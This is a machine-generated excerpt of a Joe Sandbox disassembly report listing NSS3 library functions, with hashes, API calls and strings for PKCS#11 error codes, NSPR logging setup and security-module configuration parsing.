Part of subcall function 6C725B90: PR_Lock.NSS3(00010000,?,00000000,?,6C60DF9B), ref: 6C725B9E
Part of subcall function 6C725B90: PR_Unlock.NSS3 ref: 6C725BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C725E23,6C60E154), ref: 6C725EBF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: dd1dd08a59a0703f064223247c8e2ae3c2e54d8a41c5334923f6f8d243eb65cf
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 99519D72E0021A8FCB18CF59C981AAEF3B2FF88314B19857DD815B7745E734A941CBA0

Function 6C6DDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deb45d5eb848d48193793559adce0023e490ccd06e91ddfe901c1047a835da68
Instruction ID: 80251384a4324372325d06539f36501f8c560c74bdd87b616c8e8099487ef56e
Opcode Fuzzy Hash: deb45d5eb848d48193793559adce0023e490ccd06e91ddfe901c1047a835da68
Instruction Fuzzy Hash: 77F14C71A01205CFDB08CF19C884BAAB7B2BF89314F2A4169D8199F751DB35ED42CBE5

Function 6C671DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 61948157b40a5c7ef17d49d83ba7d48f6a1cc318cf2c03008494db9c089b16b1
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: ABD16D72D086568BDB218E18C8943DA7763AB85328F1D4B29CD781B7C6C37BD906C7E4

Function 6C608EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40566723012928951e33c67676bb5dd3037779b18d085ef2534002059b045dc3
Instruction ID: 2fcb80f4f0c51a09bece5d04c29bce8630778d4167ab24fe35587fc2235c2714
Opcode Fuzzy Hash: 40566723012928951e33c67676bb5dd3037779b18d085ef2534002059b045dc3
Instruction Fuzzy Hash: C1110432B002198BD708DF25D98875AB3A5FF4A35CF0442BAD8059FA62C775E882C7D9

Function 6C6E0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 715c88fa08ca5f79f0e9987fe76325c90c0b3c36b409e37d25f72b3db7ac8b9a
Instruction ID: 632325882ed1aef95c4f80dc8cdbf34b81b5004b3c26bf283210dc8823ab3cf8
Opcode Fuzzy Hash: 715c88fa08ca5f79f0e9987fe76325c90c0b3c36b409e37d25f72b3db7ac8b9a
Instruction Fuzzy Hash: 8811C178709345DFCB00DF28C8806AA77A1FF89768F14807AD8198B741DB31E806CBA5

Function 6C653FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 468b76f105ec79ce9d637069fc912ef638192450c900c032b0f84768294ca67d
Instruction ID: c0672dd75ced0d0f0350b9ccb3ecea8332f3e9e07aa9fe76f6bc88168131405c
Opcode Fuzzy Hash: 468b76f105ec79ce9d637069fc912ef638192450c900c032b0f84768294ca67d
Instruction Fuzzy Hash: A8F0BE70E0476D8BCB10DF28C44019AB7F8EF0A244F118229EC8DAB300EB30AAC4C7C1

Function 6C6E0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: ad6e19a2032a3c273cc7ee1c42f85f88817814ea0ac9692e119efe7091c090a2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: E0E06D3A20B054A7DB148E09C460AA973A9DF8A619FE4807ACC599BA01DA73F8039795

Function 6C60CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c1c9ed2f39d160d0b32de2ad31f341ea5f4db21ba17016cd57244b29ddae36
Instruction ID: 569db5e80c679e2c62d39b1d333f0351b70333db02687872d9a45e66c945272c
Opcode Fuzzy Hash: 06c1c9ed2f39d160d0b32de2ad31f341ea5f4db21ba17016cd57244b29ddae36
Instruction Fuzzy Hash: CBC04838244608CFC704DA08E4899A43BA8BB0961070400A4EA028B721DA21F800DA90

Function 6C659840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1e4452364fabcee30dd42700b97570d593fc925a8b2e28d986d6d3f15d78a3
Instruction ID: d684c67fe15142d7b52a204f1469cc548dc3c4d65b4761e8ce76e8dc1dae60fc
Opcode Fuzzy Hash: eb1e4452364fabcee30dd42700b97570d593fc925a8b2e28d986d6d3f15d78a3
Instruction Fuzzy Hash:

Function 6C641D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C641D46), ref: 6C642345

Strings

CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6420D9
CKR_MUTEX_BAD, xrefs: 6C641F49
CKR_DEVICE_MEMORY, xrefs: 6C641FF3
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C642293, 6C64233F
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C642015
CKR_FUNCTION_REJECTED, xrefs: 6C642289
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C641F8B
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C64227F
CKR_SIGNATURE_INVALID, xrefs: 6C6420CF
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C641F77
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C64204D
CKR_OPERATION_ACTIVE, xrefs: 6C6422B8
CKR_STATE_UNSAVEABLE, xrefs: 6C642037
CKR_INFORMATION_SENSITIVE, xrefs: 6C6422B1
CKR_WRAPPED_KEY_INVALID, xrefs: 6C641FB5
CKR_PIN_INVALID, xrefs: 6C642057
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6422FF
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C641FD7
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C642179
CKR_DEVICE_ERROR, xrefs: 6C64229D
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C641F0F
CKR_OK, xrefs: 6C641DFC
CKR_NEW_PIN_MODE, xrefs: 6C641E9F
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C641F95
CKR_PIN_LOCKED, xrefs: 6C642075
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C64218D
CKR_BUFFER_TOO_SMALL, xrefs: 6C642183
CKR_TOKEN_NOT_PRESENT, xrefs: 6C641F81
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C642327
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C642319
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C64232E
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C641EE1
CKR_MUTEX_NOT_LOCKED, xrefs: 6C642225
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C642320
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C642275
CKR_PIN_LEN_RANGE, xrefs: 6C642061
CKR_RANDOM_NO_RNG, xrefs: 6C6422A7
rv = 0x%x, xrefs: 6C642312
CKR_DEVICE_REMOVED, xrefs: 6C642261
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C641DE0
CKR_NEXT_OTP, xrefs: 6C64222F
CKR_PIN_EXPIRED, xrefs: 6C64206B
rv = %s, xrefs: 6C642340
CKR_PIN_INCORRECT, xrefs: 6C641D92
CKR_SAVED_STATE_INVALID, xrefs: 6C641E56
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C64226B
CKR_FUNCTION_CANCELED, xrefs: 6C641E73

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: ba100d98ec16d3d7ba177b582992cd20319a5af21f92ed24f0ef0daf611dffe1
Instruction ID: 87774432001cf83e88d60d89f14b6e7c148196078de3fe91670133006d18ee80
Opcode Fuzzy Hash: ba100d98ec16d3d7ba177b582992cd20319a5af21f92ed24f0ef0daf611dffe1
Instruction Fuzzy Hash: F1613420A4D044C6E75E054C92AE3ACB372BB43309FF0C137E385DEE54CA55CA62469F

Function 6C675DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C675E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C675E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C675E5C
free.MOZGLUE(00000000), ref: 6C675E7E
free.MOZGLUE(00000000), ref: 6C675E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C675EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C675EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C675ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C675EF0
free.MOZGLUE(00000000), ref: 6C675F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C675F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C675F5B
free.MOZGLUE(00000000), ref: 6C675F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C675FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C675FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C675FC4
free.MOZGLUE(00000000), ref: 6C675FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C675FE9
free.MOZGLUE(00000000), ref: 6C675FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C67600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C676027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C67605A
PR_smprintf.NSS3(6C74AAF9,00000000), ref: 6C67606A
free.MOZGLUE(00000000), ref: 6C67607C
free.MOZGLUE(00000000), ref: 6C67609A
free.MOZGLUE(00000000), ref: 6C6760B2
free.MOZGLUE(?), ref: 6C6760CE

Strings

flags, xrefs: 6C675E3A, 6C675EC6, 6C675F30
pkcs11.txt, xrefs: 6C675F47, 6C675F7C, 6C67603A, 6C676053
readOnly, xrefs: 6C675E56
noModDB, xrefs: 6C675EEA
configDir=, xrefs: 6C675F9D
%s/%s, xrefs: 6C676055
secmod=, xrefs: 6C675FB1
secmod.db, xrefs: 6C675EA0
forceSecmodChoice, xrefs: 6C675F55

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: d89442c600518a30c69ea047064b80c791c3e148225afcc020ad9747b9baf74b
Instruction ID: b30a92b5cc6cd3e2283418caa7ff835d1125f6db9c48ff9795fec037af919fd5
Opcode Fuzzy Hash: d89442c600518a30c69ea047064b80c791c3e148225afcc020ad9747b9baf74b
Instruction Fuzzy Hash: 749128F09042455BEF218F359D85BAA3BA4AF0634CF1808A0EC15DBB42E735D945CBBA

Function 6C601D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C601DA3

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C601DB2

Part of subcall function 6C601240: TlsGetValue.KERNEL32(00000040,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601267
Part of subcall function 6C601240: EnterCriticalSection.KERNEL32(?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C60127C
Part of subcall function 6C601240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601291
Part of subcall function 6C601240: PR_Unlock.NSS3(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C6012A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C601DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C601E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C601EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C601ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C601EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C601F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C601F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C601F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C601F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C601F83
PR_SetLogFile.NSS3(00000000), ref: 6C601FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C601FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C601FCB
free.MOZGLUE(00000000), ref: 6C601FD2

Strings

timestamp, xrefs: 6C601EC4
append, xrefs: 6C601EE6
NSPR_LOG_MODULES, xrefs: 6C601DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C601E27
NSPR_LOG_FILE, xrefs: 6C601F69
sync, xrefs: 6C601E46
bufsize, xrefs: 6C601E9B
Unable to create nspr log file '%s', xrefs: 6C601FB3
, %n, xrefs: 6C601E6B
all, xrefs: 6C601F0E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 3e5d1a02a75a279e9531eb950cef25420734016eded86aeebd7aafb9aff213ff
Instruction ID: d86cd4fb63bba80297cbc9299ef451ce856271b7fbdf31965d142ca7bf130f85
Opcode Fuzzy Hash: 3e5d1a02a75a279e9531eb950cef25420734016eded86aeebd7aafb9aff213ff
Instruction Fuzzy Hash: AA51AEB1E002499BDF04DBE5CE48BDE7BB8AF0130DF084529E919EBA40E774D518CB99

Function 6C6E6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5ABE66), ref: 6C6E6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5ABE66), ref: 6C6E6E98
sqlite3_snprintf.NSS3(?,00000000,6C74AAF9,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5ABE66), ref: 6C6E6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5ABE66), ref: 6C6E6FA6
sqlite3_snprintf.NSS3(?,00000000,6C74AAF9,00000000,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5ABE66), ref: 6C6E701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5ABE66), ref: 6C6E7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5ABE66), ref: 6C6E7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E7097
